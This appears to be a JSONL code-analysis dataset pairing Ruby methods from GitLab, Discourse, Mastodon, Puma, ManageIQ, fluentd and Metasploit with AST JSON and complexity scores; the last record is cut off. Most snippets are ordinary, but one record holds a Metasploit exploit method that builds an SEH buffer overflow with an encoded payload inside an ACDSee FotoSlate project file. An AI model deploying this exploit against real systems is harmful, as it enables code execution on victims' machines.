+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/danger/ast_parser.rb","start_line":84,"raw_source":"def has_job_class_name_argument?(class_name)\n ast.each_descendant(:send).any? do |node|\n node.arguments.any? do |arg|\n next false unless arg.type == :hash\n\n arg.pairs.any? do |pair|\n key_node, value_node = pair.children\n key_node.type == :sym &&\n key_node.value == JOB_CLASS_NAME_KEY &&\n value_node.type == :str &&\n value_node.str_content == class_name\n end\n end\n end\n end","complexity_score":41.7,"ast_json":"{\"type\":\"def\",\"children\":[\"has_job_class_name_argument?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"class_name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ast\"]},\"each_descendant\",{\"type\":\"sym\",\"children\":[\"send\"]}]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"arguments\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arg\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]},\"type\"]},\"==\",{\"type\":\"sym\",\"children\":[\"hash\"]}]},null,{\"type\":\"next\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]},\"pairs\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pair\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key_node\"]},{\"type\":\"lvasgn\",\"children\":[\"value_node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pair\"]},\"children\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key_node\"]},\"type\"]},\"==\",{\"type\":\"sym\",\"children\":[\"sym\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key_node\"]},\"value\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"JOB_CLASS_NAME_KEY\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value_node\"]},\"type\"]},\"==\",{\"type\":\"sym\",\"children\":[\"str\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value_node\"]},\"str_content\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"class_name\"]}]}]}]}]}]}]}]}]}","id":"02d3238f-4941-4e29-bab9-a455ff8b899c"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bulk_imports/common/pipelines/uploads_pipeline.rb","start_line":43,"raw_source":"def after_run(_)\n FileUtils.rm_rf(tmpdir)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"after_run\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"rm_rf\",{\"type\":\"send\",\"children\":[null,\"tmpdir\"]}]}]}","id":"2f2bf6dc-744c-475f-b7b7-c7a12d7ebe18"}
+{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-data-explorer/spec/tasks/fix_query_ids_spec.rb","start_line":130,"raw_source":"def attributes(name)\n {\n id:\n DiscourseDataExplorer::Query.count == 0 ? 5 : DiscourseDataExplorer::Query.maximum(:id) + 1,\n name: name,\n description: \"A Query\",\n sql: \"SELECT 1\",\n created_at: 3.hours.ago,\n last_run_at: 1.hour.ago,\n hidden: false,\n }\n end","complexity_score":11.3,"ast_json":"{\"type\":\"def\",\"children\":[\"attributes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseDataExplorer\"]},\"Query\"]},\"count\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"int\",\"children\":[5]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseDataExplorer\"]},\"Query\"]},\"maximum\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"A Query\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sql\"]},{\"type\":\"str\",\"children\":[\"SELECT 1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[3]},\"hours\"]},\"ago\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_run_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"hour\"]},\"ago\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hidden\"]},{\"type\":\"false\",\"children\":[]}]}]}]}","id":"e4c91663-5fc4-486a-b2c0-0dcff68e8abe"}
+{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/settings/imports_controller.rb","start_line":85,"raw_source":"def destroy\n @bulk_import.destroy!\n redirect_to settings_imports_path\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@bulk_import\"]},\"destroy!\"]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"settings_imports_path\"]}]}]}]}","id":"1453434f-6a83-40bf-9e88-f903016a429c"}
+{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/counter/mutex_hash.rb","start_line":104,"raw_source":"def initialize(store, mutex_hash, mutex)\n @store = store\n @mutex_hash = mutex_hash\n @mutex = mutex\n @thread = nil\n @running = false\n end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"store\"]},{\"type\":\"arg\",\"children\":[\"mutex_hash\"]},{\"type\":\"arg\",\"children\":[\"mutex\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@store\",{\"type\":\"lvar\",\"children\":[\"store\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@mutex_hash\",{\"type\":\"lvar\",\"children\":[\"mutex_hash\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@mutex\",{\"type\":\"lvar\",\"children\":[\"mutex\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@thread\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@running\",{\"type\":\"false\",\"children\":[]}]}]}]}","id":"3c58f5b3-ee28-47de-a301-151137aa97fe"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ml/experiment.rb","start_line":34,"raw_source":"def package_name\n return model.name if for_model?\n\n \"#{PACKAGE_PREFIX}#{iid}\"\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"package_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"for_model?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"name\"]}]},null]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PACKAGE_PREFIX\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"iid\"]}]}]}]}]}","id":"b0ea5aa9-a1ad-41d2-be5b-01ad21829214"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bulk_imports/users_mapper.rb","start_line":45,"raw_source":"def default_user_id\n @context.current_user.id\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"default_user_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@context\"]},\"current_user\"]},\"id\"]}]}","id":"a24136a7-a90a-4fb4-a969-ace264a9d2fc"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/dcerpc/handle.rb","start_line":23,"raw_source":"def self.parse (handle)\n uuid_re = '[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{12}'\n rev_re = '\\d+.\\d+'\n proto_re = '(?:' + @@protocols.join('|') + ')'\n re = Regexp.new(\"(#{uuid_re}):(#{rev_re})\\@(#{proto_re}):(.*?)\\\\[(.*)\\\\]$\", Regexp::IGNORECASE | Regexp::NOENCODING)\n match = re.match(handle)\n raise ArgumentError if !match\n\n uuid = [match[1], match[2]]\n protocol = match[3]\n address = match[4]\n options = match[5].split(',')\n i = Rex::Proto::DCERPC::Handle.new(uuid, protocol, address, options)\n return i\n end","complexity_score":28.65,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"parse\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"handle\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uuid_re\",{\"type\":\"str\",\"children\":[\"[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{12}\"]}]},{\"type\":\"lvasgn\",\"children\":[\"rev_re\",{\"type\":\"str\",\"children\":[\"\\\\d+.\\\\d+\"]}]},{\"type\":\"lvasgn\",\"children\":[\"proto_re\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"(?:\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@protocols\"]},\"join\",{\"type\":\"str\",\"children\":[\"|\"]}]}]},\"+\",{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"re\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"new\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uuid_re\"]}]},{\"type\":\"str\",\"children\":[\"):(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rev_re\"]}]},{\"type\":\"str\",\"children\":[\")@(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"proto_re\"]}]},{\"type\":\"str\",\"children\":[\"):(.*?)\\\\[(.*)\\\\]$\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"IGNORECASE\"]},\"|\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"NOENCODING\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"match\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"re\"]},\"match\",{\"type\":\"lvar\",\"children\":[\"handle\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"uuid\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"protocol\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"lvasgn\",\"children\":[\"address\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[5]}]},\"split\",{\"type\":\"str\",\"children\":[\",\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"i\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"DCERPC\"]},\"Handle\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"uuid\"]},{\"type\":\"lvar\",\"children\":[\"protocol\"]},{\"type\":\"lvar\",\"children\":[\"address\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]}]}]}]}","id":"4e870f3b-6858-41c2-8224-8633f052e046"}
+{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/vmdb/plugins.rb","start_line":165,"raw_source":"def version(engine)\n spec = bundler_specs_by_path[engine.root.realpath.to_s]\n\n case spec&.source\n when Bundler::Source::Git\n [\n spec.source.branch || spec.source.options[\"tag\"],\n spec.source.revision.presence[0, 8]\n ].compact.join(\"@\").presence\n when Bundler::Source::Path\n if engine.root.join(\".git\").exist?\n branch = sha = nil\n Dir.chdir(engine.root) do\n branch = `git rev-parse --abbrev-ref HEAD 2>/dev/null`.strip.presence\n branch = nil if branch == \"HEAD\"\n branch ||= `git describe --tags --exact-match HEAD 2>/dev/null`.strip.presence\n\n sha = `git rev-parse HEAD 2>/dev/null`.strip[0, 8].presence\n end\n\n [branch, sha].compact.join(\"@\").presence\n end\n when Bundler::Source::Rubygems\n spec.version\n end\n end","complexity_score":78.9,"ast_json":"{\"type\":\"def\",\"children\":[\"version\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"engine\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"spec\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"bundler_specs_by_path\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"engine\"]},\"root\"]},\"realpath\"]},\"to_s\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spec\"]},\"source\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Bundler\"]},\"Source\"]},\"Git\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spec\"]},\"source\"]},\"branch\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spec\"]},\"source\"]},\"options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"tag\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spec\"]},\"source\"]},\"revision\"]},\"presence\"]},\"[]\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[8]}]}]},\"compact\"]},\"join\",{\"type\":\"str\",\"children\":[\"@\"]}]},\"presence\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Bundler\"]},\"Source\"]},\"Path\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"engine\"]},\"root\"]},\"join\",{\"type\":\"str\",\"children\":[\".git\"]}]},\"exist?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"branch\",{\"type\":\"lvasgn\",\"children\":[\"sha\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"chdir\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"engine\"]},\"root\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"branch\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"xstr\",\"children\":[{\"type\":\"str\",\"children\":[\"git rev-parse --abbrev-ref HEAD 2>/dev/null\"]}]},\"strip\"]},\"presence\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"branch\"]},\"==\",{\"type\":\"str\",\"children\":[\"HEAD\"]}]},{\"type\":\"lvasgn\",\"children\":[\"branch\",{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"branch\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"xstr\",\"children\":[{\"type\":\"str\",\"children\":[\"git describe --tags --exact-match HEAD 2>/dev/null\"]}]},\"strip\"]},\"presence\"]}]},{\"type\":\"lvasgn\",\"children\":[\"sha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"xstr\",\"children\":[{\"type\":\"str\",\"children\":[\"git rev-parse HEAD 2>/dev/null\"]}]},\"strip\"]},\"[]\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[8]}]},\"presence\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"branch\"]},{\"type\":\"lvar\",\"children\":[\"sha\"]}]},\"compact\"]},\"join\",{\"type\":\"str\",\"children\":[\"@\"]}]},\"presence\"]}]},null]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Bundler\"]},\"Source\"]},\"Rubygems\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spec\"]},\"version\"]}]},null]}]}]}","id":"3dedd8c2-1c85-4bf7-85cd-1a3bbffe7214"}
+{"repo_name":"puma","file_path":"./repos/puma/test/test_response_header.rb","start_line":155,"raw_source":"def test_header_value_array\n server_run app: ->(env) { [200, {'set-cookie' => ['z=1', 'a=2']}, ['Hello']] }\n data = send_http_and_read \"GET / HTTP/1.1\\r\\n\\r\\n\"\n\n resp = \"HTTP/1.1 200 OK\\r\\nset-cookie: z=1\\r\\nset-cookie: a=2\\r\\nContent-Length: 5\\r\\n\\r\\n\"\n assert_includes data, resp\n end","complexity_score":6.53,"ast_json":"{\"type\":\"def\",\"children\":[\"test_header_value_array\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"server_run\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"app\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[200]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"set-cookie\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"z=1\"]},{\"type\":\"str\",\"children\":[\"a=2\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Hello\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[null,\"send_http_and_read\",{\"type\":\"str\",\"children\":[\"GET / HTTP/1.1\\r\\n\\r\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"resp\",{\"type\":\"str\",\"children\":[\"HTTP/1.1 200 OK\\r\\nset-cookie: z=1\\r\\nset-cookie: a=2\\r\\nContent-Length: 5\\r\\n\\r\\n\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"resp\"]}]}]}]}","id":"5959c4e6-47b7-43fc-9b76-f30d74492ddb"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/fileformat/acdsee_fotoslate_string.rb","start_line":71,"raw_source":"def exploit\n overflow = rand_text(target[\"Offset\"])\n overflow << generate_seh_record(target.ret)\n overflow << payload.encoded\n overflow << rand_text_alpha(target[\"TotalLength\"] - overflow.length)\n\n plp = <<~TEMPLATE\n \n \n \n \n 3.0\n \n Letter\n \n \n 8.500000IN\n 11.000000IN\n Portrait\n FALSE\n FALSE\n \n \n FALSE\n 0\n \n 16777215\n \n \n \n \n \n Image\n \n 0.500000IN\n 0.500000IN\n 7.500000IN\n 10.000000IN\n 0.000000\n \n \n 0\n 0.000000\n 0.000000\n FALSE\n FALSE\n 0.000000\n FALSE\n 8454143\n FALSE\n 0\n FALSE\n FALSE\n 16711680\n FALSE\n \n \n \n \n \n \n 3.0\n \n Letter\n \n FALSE\n 0\n \n 16777215\n \n \n \n \n \n Image\n \n 0\n 0.000000\n 0.000000\n FALSE\n FALSE\n 0.000000\n FALSE\n 8454143\n FALSE\n 0\n FALSE\n FALSE\n 16711680\n FALSE\n \n \n \n \n \n \n \n TEMPLATE\n\n print_status(\"Creating '#{datastore['FILENAME']}' file ...\")\n file_create(plp)\n end","complexity_score":27.6,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"overflow\",{\"type\":\"send\",\"children\":[null,\"rand_text\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Offset\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"overflow\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"generate_seh_record\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"ret\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"overflow\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"overflow\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TotalLength\"]}]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"overflow\"]},\"length\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"plp\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"3.0\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Letter\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"8.500000IN\\n\"]},{\"type\":\"str\",\"children\":[\"11.000000IN\\n\"]},{\"type\":\"str\",\"children\":[\"Portrait\\n\"]},{\"type\":\"str\",\"children\":[\"FALSE\\n\"]},{\"type\":\"str\",\"children\":[\"FALSE\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"FALSE\\n\"]},{\"type\":\"str\",\"children\":[\"0\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"16777215\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Image\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"0.500000IN\\n\"]},{\"type\":\"str\",\"children\":[\"0.500000IN\\n\"]},{\"type\":\"str\",\"children\":[\"7.500000IN\\n\"]},{\"type\":\"str\",\"children\":[\"10.000000IN\\n\"]},{\"type\":\"str\",\"children\":[\"0.000000\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"0\\n\"]},{\"type\":\"str\",\"children\":[\"0.000000\\n\"]},{\"type\":\"str\",\"children\":[\"0.000000\\n\"]},{\"type\":\"str\",\"children\":[\"FALSE\\n\"]},{\"type\":\"str\",\"children\":[\"FALSE\\n\"]},{\"type\":\"str\",\"children\":[\"0.000000\\n\"]},{\"type\":\"str\",\"children\":[\"FALSE\\n\"]},{\"type\":\"str\",\"children\":[\"8454143\\n\"]},{\"type\":\"str\",\"children\":[\"FALSE\\n\"]},{\"type\":\"str\",\"children\":[\"0\\n\"]},{\"type\":\"str\",\"children\":[\"FALSE\\n\"]},{\"type\":\"str\",\"children\":[\"FALSE\\n\"]},{\"type\":\"str\",\"children\":[\"16711680\\n\"]},{\"type\":\"str\",\"children\":[\"FALSE\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"3.0\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Letter\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"FALSE\\n\"]},{\"type\":\"str\",\"children\":[\"0\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"16777215\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Image\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"0\\n\"]},{\"type\":\"str\",\"children\":[\"0.000000\\n\"]},{\"type\":\"str\",\"children\":[\"0.000000\\n\"]},{\"type\":\"str\",\"children\":[\"FALSE\\n\"]},{\"type\":\"str\",\"children\":[\"FALSE\\n\"]},{\"type\":\"str\",\"children\":[\"0.000000\\n\"]},{\"type\":\"str\",\"children\":[\"FALSE\\n\"]},{\"type\":\"str\",\"children\":[\"8454143\\n\"]},{\"type\":\"str\",\"children\":[\"FALSE\\n\"